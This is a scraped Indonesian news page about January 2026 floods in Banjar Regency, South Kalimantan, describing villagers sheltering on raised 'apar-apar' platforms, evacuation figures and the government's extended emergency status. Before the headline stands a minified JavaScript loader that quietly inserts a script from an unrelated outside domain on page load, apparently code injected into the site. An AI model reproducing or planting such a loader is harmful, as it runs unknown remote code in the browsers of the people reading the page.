(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas


KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar, berjuang menghadapi banjir.

Sekitar 25 persen warga yang telah mengungsi ke posko bencana akibat ketinggian air mencapai pinggang orang dewasa.

Para petani tak bisa bercocok tanam lantaran air sudah menggenangi seluruh permukaan sawah. Akses transportasi roda dua lumpuh yang mengharuskan warga berjalan kaki atau memakai jukung menuju titik yang tidak terendam air untuk ke luar dari desa.

Baca juga: Banjir Meluas, Pemkab Banjar Perpanjang Status Tanggap Darurat 

Kondisi seperti ini selalu dirasakan warga nyaris setiap tahun. Berbagai cara dilakukan guna mengamankan barang penting di rumah dari kepungan banjir.

Ketua RT 02 Desa Sungaitabuk Keramat, Saipul Bahri mengatakan, rata-rata warga berinisiatif membangun apar-apar atau semacam papan untuk menaruh barang pribadi agar tidak terendam air. Dalam istilah lokal apar-apar merupakan panggung/bangunan darurat yang dibuat warga untuk menghindari air banjir.

“Agar tidak meninggalkan rumah, mereka bikin apar-apar sebagai langkah darurat untuk mengamankan barang-barang, tidur pun di atas apar-apar,” ucap Ipul -sapaan akrabnya-, Senin (5/1/2026).

Ketua RT 02 Desa Sungaitabuk Keramat. Foto: fahmi

Baca juga: Banjir Meluas, Pemkab Banjar Perpanjang Status Tanggap Darurat 

Selain itu, warga memasang barikade dari bambu di depan rumah agar sampah tak masuk ke dalam.

Beruntungnya, listrik masih nyala sehingga beberapa warga masih bisa beraktivitas di rumah. Ipul memperkirakan apabila listrik padam maka seluruh warga kemungkinan akan mengungsi.

Banjir kali ini ini berdampak kepada 4.000 jiwa warga Desa Sungaitabuk Keramat. Sebanyak 79 Kepala Keluarga (KK) yang mencapai 200-400 jiwa mengungsi. Sisanya masih bertahan dengan tetap tinggal di rumah masing-masing.

Bukan tanpa alasan, terkadang kelotok yang lewat menyebabkan pintu terlepas. Oleh sebab itu, sejumlah warga memilih bertahan untuk menjaga rumahnya. Ipul bersyukur karena rumahnya memiliki dua lantai, jadi dirinya beserta keluarga bertahan dan tidur menginap di lantai atas.

Baca juga: DPRD Kapuas Bahas Hasil Reses, Bentuk Pansus LHP BPK RI

Rutinitas untuk keburuhan sanitasi kehidupan sehari-hari, Ipul mengaku warga menggunakan air banjir untuk berbagai keperluan mulai dari minum, mandi, maupun masak nasi.

“Ini aman karena air sungai bukan air dari sawah, jadi masih bersih,” ungkapnya.

 

Pemkab Banjar Perpanjang Status Darurat Bencana

Sementara itu, hingga awal Januari 2026 banjir di Kabupaten Banjar merendam sembilan kecamatan yang mencakup 121 desa dan kelurahan.

Sebanyak 43.469 kepala keluarga (KK) atau 122.353 jiwa terdampak bencana yang disebabkan oleh tingginya intensitas curah hujan dan membuat Pemerintah Kabupaten (Pemkab) Banjar memperpanjang status tanggap darurat bencana banjir hingga 12 Januari 2026.

Baca juga: Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

Kepala Pelaksana (Kalak) Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar, Wasis Nugraha, mengatakan perpanjangan status tersebut dilakukan guna memastikan penanganan bencana dan pemenuhan kebutuhan dasar masyarakat terdampak dapat berjalan optimal.

Intensitas hujan yang sangat tinggi menyebabkan debit air meningkat dan genangan makin meluas.

“Oleh karena itu, status tanggap darurat kami perpanjang hingga 12 Januari 2026,” ujar Wasis saat konferensi pers di Aula Mini Barakat, Martapura, Selasa (6/1/2026) sore.

Guna memenuhi kebutuhan warga terdampak, Pemkab Banjar mengoptimalkan pendistribusian bantuan melalui dapur umum resmi yang dikelola bersama Dinas Sosial Provinsi Kalimantan Selatan dan Dinas Sosial P3AP2KB Kabupaten Banjar.

Baca juga: Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

“Saat ini dapur umum telah beroperasi di Kecamatan Sungairabuk dan Martapura Barat,” katanya.

Pemkab Banjar juga merencanakan penambahan dapur umum baru yang akan berlokasi di Kantor Dinsos P3AP2KB Kabupaten Banjar guna melayani Kecamatan Martapura dan wilayah sekitarnya.

Distribusi bantuan dilakukan melalui dua skema utama, yakni pembagian makanan siap saji ke titik-titik pengungsian serta penyaluran bantuan logistik berupa paket sembako dari BPBD.

“Bantuan disalurkan secara rutin melalui kolaborasi antara Bupati Banjar H Saidi Mansyur, jajaran SOPD, relawan, serta berbagai elemen masyarakat,” tambah Wasis.

Baca juga: Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

Sekretaris Daerah (Sekda) Kabupaten Banjar, Yudi Andrea, yang memimpin konferensi pers tersebut mengajak seluruh pihak untuk terus bersinergi dalam penanggulangan bencana banjir.

“Kami berharap dukungan aktif dari media, instansi terkait, organisasi kemasyarakatan, serta tokoh masyarakat untuk terus bergotong royong membantu penanganan banjir di Kabupaten Banjar,” ujar dia.

Yudi juga mengungkapkan bahwa Pemkab Banjar telah menyiapkan anggaran sebesar Rp10 miliar dari Belanja Tidak Terduga (BTT) untuk penanganan bencana, selain anggaran yang tersedia di masing-masing Organisasi Perangkat Daerah (OPD).

“Pemda tidak kekurangan anggaran. Dengan perubahan status kebencanaan ini, Pemkab Banjar juga dapat membuka akses bantuan dari pemerintah provinsi maupun pusat. Insya Allah anggaran ter-cover,” katanya.

Baca juga: UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Ia memastikan, Pemkab Banjar terus melakukan evaluasi terhadap pendistribusian logistik agar bantuan tidak menumpuk di satu titik dan dapat merata ke seluruh wilayah terdampak.

“Pemerintah daerah berkomitmen untuk terus memperbarui data, mempercepat distribusi bantuan, serta memastikan masyarakat terdampak memperoleh perlindungan dan pelayanan maksimal selama masa tanggap darurat,” pungkas dia. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Risa

Recent Posts

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

3 jam ago

Jadi UMP Tertinggi, Segini Rincian UMP dan UMK Kalimantan Utara 2026, Naik 5,45%!

Upah Minimum Provinsi (UMP) Kalimantan Utara tahun 2026 telah resmi ditetapkan melalui Keputusan Gubernur Kalimantan… Read More

4 jam ago

Kanalkalimantan Peduli Antar Bantuan untuk Guru MI Nurul Fata dan RT 02 Antasan Senor Ilir

KANALKALIMANTAN.COM, MARTAPURA – Banjir memukul semua lini, tak hanya menenggelamkan rumah warga, para pengajar salah… Read More

6 jam ago

PMI Balangan Gerak Cepat Salurkan Bantuan Banjir

KANALKALIMANTAN.COM, PARINGIN - Palang Merah Indonesia (PMI) Kabupaten Balangan bergerak cepat menjemput bantuan logistik ke… Read More

8 jam ago

Danantara Bangun Huntara di Aceh Tamiang, PLN Sambung Listrik Rumah dan Fasum

KANALKALIMANTAN.COM, BANDA ACEH - PT PLN (Persero) terus mendukung percepatan pembangunan Rumah Hunian Sementara (Huntara)… Read More

8 jam ago

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

19 jam ago

This website uses cookies.